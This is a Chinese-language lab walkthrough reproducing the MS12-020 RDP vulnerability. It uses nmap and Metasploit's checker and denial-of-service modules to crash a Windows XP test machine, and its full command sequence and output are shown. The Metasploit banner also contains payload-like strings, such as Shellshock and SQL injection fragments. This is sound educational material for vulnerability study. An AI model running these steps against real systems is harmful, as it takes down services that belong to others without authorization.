ms12-020漏洞复现

ms12-020漏洞复现

简介

漏洞名：MS12-020（全称：Microsoft windows远程桌面协议RDP远程代码执行漏洞）

介绍：RDP协议是一个多通道的协议，让用户连上提供微软终端机服务的电脑。 windows在处理某些对象时存在错误，可通过特制的RDP报文访问未初始化或已经删除的对象，导致任意代码执行。 然后控制系统。

复现

实验环境

一台windows xp sp3 英文版的主机，作为靶机

一台kali Linux作为攻击机

实验条件：两台机子可以相互ping通，并且靶机（无补丁）开启了3389端口，防火墙是关闭的

漏洞发现

#扫描系统的3389端口是否是开放的

┌──(root㉿kali)-[~]

└─# nmap 192.168.239.135    

Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-04 01:31 EDT

Nmap scan report for 192.168.239.135

Host is up (0.0057s latency).

Not shown: 996 closed tcp ports (reset)

PORT     STATE SERVICE

135/tcp  open  msrpc

139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds

3389/tcp open  ms-wbt-server

MAC Address: 00:0C:29:7A:03:2D (VMware)

#端口为开放的，接下来尝试攻击

漏洞利用

#启动metasploit

┌──(root㉿kali)-[~]

└─# msfconsole

*Neutrino_Cannon*PrettyBeefy*PostalTime*binbash*deadastronauts*EvilBunnyWrote*L1T*Mail.ru*() { :;}; echo vulnerable*

*Team sorceror*ADACTF*BisonSquad*socialdistancing*LeukeTeamNaam*OWASP Moncton*Alegori*exit*Vampire Bunnies*APT593*

*QuePasaZombiesAndFriends*NetSecBG*coincoin*ShroomZ*Slow Coders*Scavenger Security*Bruh*NoTeamName*Terminal Cult*

*edspiner*BFG*MagentaHats*0x01DA*Kaczuszki*AlphaPwners*FILAHA*Raffaela*HackSurYvette*outout*HackSouth*Corax*yeeb0iz*

*SKUA*Cyber COBRA*flaghunters*0xCD*AI Generated*CSEC*p3nnm3d*IFS*CTF_Circle*InnotecLabs*baadf00d*BitSwitchers*0xnoobs*

*ItPwns - Intergalactic Team of PWNers*PCCsquared*fr334aks*runCMD*0x194*Kapital Krakens*ReadyPlayer1337*Team 443*

*H4CKSN0W*InfOUsec*CTF Community*DCZia*NiceWay*0xBlueSky*ME3*Tipi'Hack*Porg Pwn Platoon*Hackerty*hackstreetboys*

*ideaengine007*eggcellent*H4x*cw167*localhorst*Original Cyan Lonkero*Sad_Pandas*FalseFlag*OurHeartBleedsOrange*SBWASP*

*Cult of the Dead Turkey*doesthismatter*crayontheft*Cyber Mausoleum*scripterz*VetSec*norbot*Delta Squad Zero*Mukesh*

*x00-x00*BlackCat*ARESx*cxp*vaporsec*purplehax*RedTeam@MTU*UsalamaTeam*vitamink*RISC*forkbomb444*hownowbrowncow*

*etherknot*cheesebaguette*downgrade*FR!3ND5*badfirmware*Cut3Dr4g0n*dc615*nora*Polaris One*team*hail hydra*Takoyaki*

*Sudo Society*incognito-flash*TheScientists*Tea Party*Reapers of Pwnage*OldBoys*M0ul3Fr1t1B13r3*bearswithsaws*DC540*

*iMosuke*Infosec_zitro*CrackTheFlag*TheConquerors*Asur*4fun*Rogue-CTF*Cyber*TMHC*The_Pirhacks*btwIuseArch*MadDawgs*

*HInc*The Pighty Mangolins*CCSF_RamSec*x4n0n*x0rc3r3rs*emehacr*Ph4n70m_R34p3r*humziq*Preeminence*UMGC*ByteBrigade*

*TeamFastMark*Towson-Cyberkatz*meow*xrzhev*PA Hackers*Kuolema*Nakateam*L0g!c B0mb*NOVA-InfoSec*teamstyle*Panic*

*B0NG0R3*                                                                                    *Les Cadets Rouges*buf*

*Les Tontons Fl4gueurs*                                                                      *404 : Flag Not Found*

*' UNION SELECT 'password*      _________                __                                  *OCD247*Sparkle Pony*

*burner_herz0g*                 \_   ___ \_____  _______/  |_ __ _________   ____            *Kill$hot*ConEmu*

*here_there_be_trolls*          /    \  \/\__  \ \____ \   __\  |  \_  __ \_/ __ \           *;echo"hacked"*

*r4t5_*6rung4nd4*NYUSEC*        \     \____/ __ \|  |_> >  | |  |  /|  | \/\  ___/           *karamel4e*

*IkastenIO*TWC*balkansec*        \______  (____  /   __/|__| |____/ |__|    \___  >          *cybersecurity.li*

*TofuEelRoll*Trash Pandas*              \/     \/|__|                           \/           *OneManArmy*cyb3r_w1z4rd5*

*Astra*Got Schwartz?*tmux*                  ___________.__                                   *AreYouStuck*Mr.Robot.0*

*\nls*Juicy white peach*                    \__    ___/|  |__   ____                         *EPITA Rennes*

*HackerKnights*                               |    |   |  |  \_/ __ \                        *guildOfGengar*Titans*

*Pentest Rangers*                             |    |   |   Y  \  ___/                        *The Libbyrators*

*placeholder name*bitup*                      |____|   |___|  /\___  >                       *JeffTadashi*Mikeal*

*UCASers*onotch*                                            \/     \/                        *ky_dong_day_song*

*NeNiNuMmOk*                              ___________.__                                     *JustForFun!*

*Maux de tête*LalaNG*                     \_   _____/|  | _____     ____                     *g3tsh3Lls0on*

*crr0tz*z3r0p0rn*clueless*                 |    __)  |  | \__  \   / ___\                    *Phở Đặc Biệt*Paradox*

*HackWara*                                 |     \   |  |__/ __ \_/ /_/  >                   *KaRIPux*inf0sec*

*Kugelschreibertester*                     \___  /   |____(____  /\___  /                    *bluehens*Antoine77*

*icemasters*                                   \/              \//_____/                     *genxy*TRADE_NAMES*

*Spartan's Ravens*                       _______________   _______________                   *BadByte*fontwang_tw*

*g0ldd1gg3rs*pappo*                     \_____  \   _  \  \_____  \   _  \                   *ghoti*

*Les CRACKS*c0dingRabbits*               /  ____/  /_\  \  /  ____/  /_\  \                  *LinuxRiders*   

*2Cr4Sh*RecycleBin*                     /       \  \_/   \/       \  \_/   \                 *Jalan Durian*

*ExploitStudio*                         \_______ \_____  /\_______ \_____  /                 *WPICSC*logaritm*

*Car RamRod*0x41414141*                         \/     \/         \/     \/                  *Orv1ll3*team-fm4dd*

*Björkson*FlyingCircus*                                                                      *PwnHub*H4X0R*Yanee*

*Securifera*hot cocoa*                                                                       *Et3rnal*PelarianCP*

*n00bytes*DNC&G*guildzero*dorko*tv*42*{EHF}*CarpeDien*Flamin-Go*BarryWhite*XUcyber*FernetInjection*DCcurity*

*Mars Explorer*ozen_cfw*Fat Boys*Simpatico*nzdjb*Isec-U.O*The Pomorians*T35H*H@wk33*JetJ*OrangeStar*Team Corgi*

*D0g3*0itch*OffRes*LegionOfRinf*UniWA*wgucoo*Pr0ph3t*L0ner*_n00bz*OSINT Punchers*Tinfoil Hats*Hava*Team Neu*

*Cyb3rDoctor*Techlock Inc*kinakomochi*DubbelDopper*bubbasnmp*w*Gh0st$*tyl3rsec*LUCKY_CLOVERS*ev4d3rx10-team*ir4n6*

*PEQUI_ctf*HKLBGD*L3o*5 bits short of a byte*UCM*ByteForc3*Death_Geass*Stryk3r*WooT*Raise The Black*CTErr0r*

*Individual*mikejam*Flag Predator*klandes*_no_Skids*SQ.*CyberOWL*Ironhearts*Kizzle*gauti*

*San Antonio College Cyber Rangers*sam.ninja*Akerbeltz*cheeseroyale*Ephyra*sard city*OrderingChaos*Pickle_Ricks*

*Hex2Text*defiant*hefter*Flaggermeister*Oxford Brookes University*OD1E*noob_noob*Ferris Wheel*Ficus*ONO*jameless*

*Log1c_b0mb*dr4k0t4*0th3rs*dcua*cccchhhh6819*Manzara's Magpies*pwn4lyfe*Droogy*Shrubhound Gang*ssociety*HackJWU*

*asdfghjkl*n00bi3*i-cube warriors*WhateverThrone*Salvat0re*Chadsec*0x1337deadbeef*StarchThingIDK*Tieto_alaviiva_turva*

*InspiV*RPCA Cyber Club*kurage0verfl0w*lammm*pelicans_for_freedom*switchteam*tim*departedcomputerchairs*cool_runnings*

*chads*SecureShell*EetIetsHekken*CyberSquad*P&K*Trident*RedSeer*SOMA*EVM*BUckys_Angels*OrangeJuice*DemDirtyUserz*

*OpenToAll*Born2Hack*Bigglesworth*NIS*10Monkeys1Keyboard*TNGCrew*Cla55N0tF0und*exploits33kr*root_rulzz*InfosecIITG*

*superusers*H@rdT0R3m3b3r*operators*NULL*stuxCTF*mHackresciallo*Eclipse*Gingabeast*Hamad*Immortals*arasan*MouseTrap*

*damn_sadboi*tadaaa*null2root*HowestCSP*fezfezf*LordVader*Fl@g_Hunt3rs*bluenet*P@Ge2mE*

       =[ metasploit v6.1.27-dev                          ]

+ -- --=[ 2196 exploits - 1162 auxiliary - 400 post       ]

+ -- --=[ 596 payloads - 45 encoders - 10 nops            ]

+ -- --=[ 9 evasion                                       ]

Metasploit tip: Save the current environment with the

save command, future console restarts will use this

environment again

msf6 >

#发现没有每次启动的图像都不一样

#查询有关ms12-020的模块

msf6 > search ms12-020

Matching Modules

================

   #  Name                                              Disclosure Date  Rank    Check  Description

   -  ----                                              ---------------  ----    -----  -----------

   0  auxiliary/scanner/rdp/ms12_020_check                               normal  Yes    MS12-020 Microsoft Remote Desktop Checker

   1  auxiliary/dos/windows/rdp/ms12_020_maxchannelids  2012-03-16       normal  No     MS12-020 Microsoft Remote Desktop Use-After-Free DoS

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

发现了两个模块

auxiliary/scanner/rdp/ms12_020_check是扫描模块

auxiliary/dos/windows/rdp/ms12_020_maxchannelids是攻击模块

#使用扫描模块进行扫描

msf6 > use 0

msf6 auxiliary(scanner/rdp/ms12_020_check) > show options

Module options (auxiliary/scanner/rdp/ms12_020_check):

   Name     Current Setting  Required  Description

   ----     ---------------  --------  -----------

   RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

   RPORT    3389             yes       Remote port running RDP (TCP)

   THREADS  1                yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/rdp/ms12_020_check) > set rhosts 192.168.239.135 #指定靶机地址

rhosts => 192.168.239.135

msf6 auxiliary(scanner/rdp/ms12_020_check) > run

[+] 192.168.239.135:3389  - 192.168.239.135:3389 - The target is vulnerable.

[*] 192.168.239.135:3389  - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

#发现存在漏洞

#使用攻击模块进行攻击

msf6 auxiliary(scanner/rdp/ms12_020_check) > use 1

msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > set rhosts 192.168.239.135

rhosts => 192.168.239.135

msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > run

[*] Running module against 192.168.239.135

[*] 192.168.239.135:3389 - 192.168.239.135:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS

[*] 192.168.239.135:3389 - 192.168.239.135:3389 - 210 bytes sent

[*] 192.168.239.135:3389 - 192.168.239.135:3389 - Checking RDP status...

[+] 192.168.239.135:3389 - 192.168.239.135:3389 seems down

[*] Auxiliary module execution completed